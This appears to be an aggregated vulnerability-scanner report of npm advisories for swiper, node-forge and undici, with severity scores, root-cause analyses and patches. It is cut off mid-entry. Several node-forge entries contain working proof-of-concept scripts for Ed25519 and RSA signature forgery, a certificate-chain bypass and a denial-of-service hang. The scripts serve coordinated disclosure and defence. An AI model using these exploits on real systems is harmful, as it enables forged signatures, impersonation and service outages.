Error Actual behavior Object.prototype is polluted This is printed on the console: undefined yes Impact This is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected. It could potentially lead to the following problems: Authentication bypass Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global Array.prototype.indexOf property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service. Remote code execution (if polluted property is passed to sinks like eval or child_process) Related CVEs CVE-2026-25521 CVE-2026-25047 CVE-2026-26021

node-forge 1.3.1 (npm) pkg:npm/node-forge@1.3.1 Uncontrolled Recursion Affected range <1.3.2 Fixed version 1.3.2 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.135% EPSS Percentile 33rd percentile Description Summary An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. Details An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects. Impact This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing. This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2. Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability. Interpretation Conflict Affected range <1.3.2 Fixed version 1.3.2 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.077% EPSS Percentile 23rd percentile Description Summary CVE-2025-12816 has been reserved by CERT/CC Description An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions. Details A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives. This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type). Impact This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data. This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2. https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js. The following components in node-forge are impacted. lib/asn1.js lib/x509.js lib/pkcs12.js lib/pkcs7.js lib/rsa.js lib/pbe.js lib/ed25519.js Any downstream application using these components is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises. Improper Verification of Cryptographic Signature Affected range <1.4.0 Fixed version 1.4.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.035% EPSS Percentile 10th percentile Description Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented. Configuration assumptions: Default forge Ed25519 verify API path (ed25519.verify(...)). Root Cause In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication: scalarbase(q, sm.subarray(32)); There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature. Reproduction Steps Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder. The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify). Confirm output includes: { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } Proof of Concept Overview: Demonstrates a valid control signature and a forged (S + L) signature in one run. Uses Node/OpenSSL as a differential verification baseline. Observed output on tested commit: { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } poc.js #!/usr/bin/env node 'use strict'; const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519; const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); // Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519_ORDER_L = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]); // For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519_ORDER_L[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; } function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`; } function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } } function toResult(label, original, tweaked) { return { [label]: { original_valid: original.ok, tweaked_valid: tweaked.ok, }, }; } function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); } main(); Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L). Here is a patch we tested on our end to resolve the issue, though please verify it on your end: index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) { return -1; } + if(!_isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) { return mlen; } +function _isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) { Resources RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa. Improper Input Validation Affected range <1.4.0 Fixed version 1.4.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.029% EPSS Percentile 8th percentile Description Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions. Configuration assumptions: Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5). _parseAllDigestBytes: true (default setting). Root Cause In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest. Two issues are present with this logic: Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic. Reproduction Steps Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. The script verifies both signatures with: forge verify (_parseAllDigestBytes: true), and Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING). Confirm output includes: control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false Proof of Concept Overview: Demonstrates a valid control signature and a forged signature in one run. Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default). Uses Node/OpenSSL as an differential verification baseline. Observed output on tested commit: control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false repro_min.js #!/usr/bin/env node 'use strict'; const crypto = require('crypto'); const forge = require('./forge/lib/index'); // DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFO_SHA256_PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' ); const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi * hi * hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid * mid * mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f * f * f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); } function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for `msg` // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v1_5 // - options._parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } } function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } }); const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3'); const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]); // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // `garbageLen` affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]); // Build the numeric interval of all EM values that start with `prefix`: // - `low` = prefix || 00..00 // - `high` = one past (prefix || ff..ff) // Then find `s` such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 * suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval'); const sig = toBuf(s, k); const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSA_PKCS1_PADDING }); // forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig); // Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, sig); console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); } main(); Suggested Patch Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in _decodePkcs1_v1_5 before accepting the block. Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields). Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects: index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v1_5 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; Resources RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html lib/rsa.js key.verify(...) at lines ~1139-1223. lib/rsa.js _decodePkcs1_v1_5(...) at lines ~1632-1695. Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa. Loop with Unreachable Exit Condition ('Infinite Loop') Affected range <1.4.0 Fixed version 1.4.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Summary A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library Vulnerability Details Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage) Root Cause Analysis The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js: javascriptfunction bnModInverse(m) { // ... setup ... // No check for this == 0 // Enters Extended Euclidean Algorithm loop that never terminates when this == 0 } Attack Scenario Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include: DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse(). A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive. Proof of Concept Environment Setup mkdir forge-poc && cd forge-poc npm init -y npm install node-forge Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging. mkdir forge-poc && cd forge-poc npm init -y npm install node-forge # Save the script below as poc.js, then run: node poc.js 'use strict'; const { spawnSync } = require('child_process'); const childCode = ` const forge = require('node-forge'); // jsbn may not be auto-loaded; try explicit require if needed if (!forge.jsbn) { try { require('node-forge/lib/jsbn'); } catch(e) {} } if (!forge.jsbn || !forge.jsbn.BigInteger) { console.error('ERROR: forge.jsbn.BigInteger not available'); process.exit(2); } const BigInteger = forge.jsbn.BigInteger; const zero = new BigInteger('0', 10); const mod = new BigInteger('3', 10); // This call should throw or return 0, but instead loops forever const inv = zero.modInverse(mod); console.log('returned: ' + inv.toString()); `; console.log('[*] Testing: BigInteger(0).modInverse(3)'); console.log('[*] Expected: throw an error or return quickly'); console.log('[*] Spawning child process with 5s timeout...'); console.log(); const result = spawnSync(process.execPath, ['-e', childCode], { encoding: 'utf8', timeout: 5000, }); if (result.error && result.error.code === 'ETIMEDOUT') { console.log('[VULNERABLE] Child process timed out after 5s'); console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)'); process.exit(0); } if (result.status === 2) { console.log('[ERROR] Could not access BigInteger:', result.stderr.trim()); console.log(' -> Check your node-forge installation'); process.exit(1); } if (result.status === 0) { console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim()); process.exit(1); } console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')'); if (result.stderr) console.log(' stderr:', result.stderr.trim()); process.exit(1); Expected Output [*] Testing: BigInteger(0).modInverse(3) [*] Expected: throw an error or return quickly [*] Spawning child process with 5s timeout... [VULNERABLE] Child process timed out after 5s -> modInverse(0, 3) entered an infinite loop (DoS confirmed) Verified On node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows Impact Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected. Suggested Fix Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js: function bnModInverse(m) { var ac = m.isEven(); // Add this check: if (this.signum() == 0) { throw new Error('BigInteger has no modular inverse: input is zero'); } // ... rest of the existing implementation ... } Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException). Improper Certificate Validation Affected range <=1.3.3 Fixed version 1.4.0 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 0.017% EPSS Percentile 4th percentile Description Summary pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Technical Details In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization: The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null The basicConstraints.cA check is gated on bcExt !== null When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA. RFC 5280 Section 6.1.4 step (k) requires: "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE." The absence of basicConstraints should result in rejection, not acceptance. Proof of Concept const forge = require('node-forge'); const pki = forge.pki; function generateKeyPair() { return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); } console.log('=== node-forge basicConstraints Bypass PoC ===\n'); // 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) const rootKeys = generateKeyPair(); const rootCert = pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); const rootAttrs = [ { name: 'commonName', value: 'Legitimate Root CA' }, { name: 'organizationName', value: 'PoC Security Test' } ]; rootCert.setSubject(rootAttrs); rootCert.setIssuer(rootAttrs); rootCert.setExtensions([ { name: 'basicConstraints', cA: true, critical: true }, { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } ]); rootCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage // This certificate should NOT be allowed to sign other certificates const leafKeys = generateKeyPair(); const leafCert = pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); const leafAttrs = [ { name: 'commonName', value: 'Non-CA Leaf Certificate' }, { name: 'organizationName', value: 'PoC Security Test' } ]; leafCert.setSubject(leafAttrs); leafCert.setIssuer(rootAttrs); // NO basicConstraints extension — NO keyUsage extension leafCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 3. Create a "victim" certificate signed by the leaf // This simulates an attacker using a non-CA cert to forge certificates const victimKeys = generateKeyPair(); const victimCert = pki.createCertificate(); victimCert.publicKey = victimKeys.publicKey; victimCert.serialNumber = '03'; victimCert.validity.notBefore = new Date(); victimCert.validity.notAfter = new Date(); victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); const victimAttrs = [ { name: 'commonName', value: 'victim.example.com' }, { name: 'organizationName', value: 'Victim Corp' } ]; victimCert.setSubject(victimAttrs); victimCert.setIssuer(leafAttrs); victimCert.sign(leafKeys.privateKey, forge.md.sha256.create()); // 4. Verify the chain: root -> leaf -> victim const caStore = pki.createCaStore([rootCert]); try { const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); console.log(' This violates RFC 5280 Section 6.1.4.'); } catch (e) { console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); } Results: Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280) Certificate with basicConstraints.cA=false: correctly rejected Certificate with keyUsage (no keyCertSign): correctly rejected Proper intermediate CA (control): correctly accepted Attack Scenario An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain. This affects applications using node-forge for: Custom PKI / certificate pinning implementations S/MIME / PKCS#7 signature verification IoT device certificate validation Any non-native-TLS certificate chain verification CVE Precedent This is the same vulnerability class as: CVE-2014-0092 (GnuTLS) — certificate verification bypass CVE-2015-1793 (OpenSSL) — alternative chain verification bypass CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance Not a Duplicate This is distinct from: CVE-2025-12816 (ASN.1 parser desynchronization — different code path) CVE-2025-66030/66031 (DoS and integer overflow — different issue class) GitHub issue #1049 (null subject/issuer — different malformation) Suggested Fix Add an explicit check for absent basicConstraints on non-leaf certificates: // After the keyUsage check block, BEFORE the cA check: if(error === null && bcExt === null) { error = { message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.', error: pki.certificateError.bad_certificate }; } Disclosure Timeline 2026-03-10: Report submitted via GitHub Security Advisory 2026-06-08: 90-day coordinated disclosure deadline Credits Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch

undici 6.21.2 (npm) pkg:npm/undici@6.21.2 Uncaught Exception Affected range <6.24.0 Fixed version 6.24.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.186% EPSS Percentile 40th percentile Description Impact The undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the server_max_window_bits parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range server_max_window_bits value (outside zlib's valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination. The vulnerability exists because: The isValidClientWindowBits() function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15 The createInflateRaw() call is not wrapped in a try-catch block The resulting exception propagates up through the call stack and crashes the Node.js process Patches Has the problem been patched? What versions should users upgrade to? Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? Improper Validation of Specified Quantity in Input Affected range >=6.0.0 <6.24.0 Fixed version 6.24.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.128% EPSS Percentile 32nd percentile Description Impact A server can reply with a WebSocket frame using the 64-bit length form and an extremely large length. undici's ByteParser overflows internal math, ends up in an invalid state, and throws a fatal TypeError that terminates the process. Patches Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later. Workarounds There are no workarounds. Improper Handling of Highly Compressed Data (Data Amplification) Affected range <6.24.0 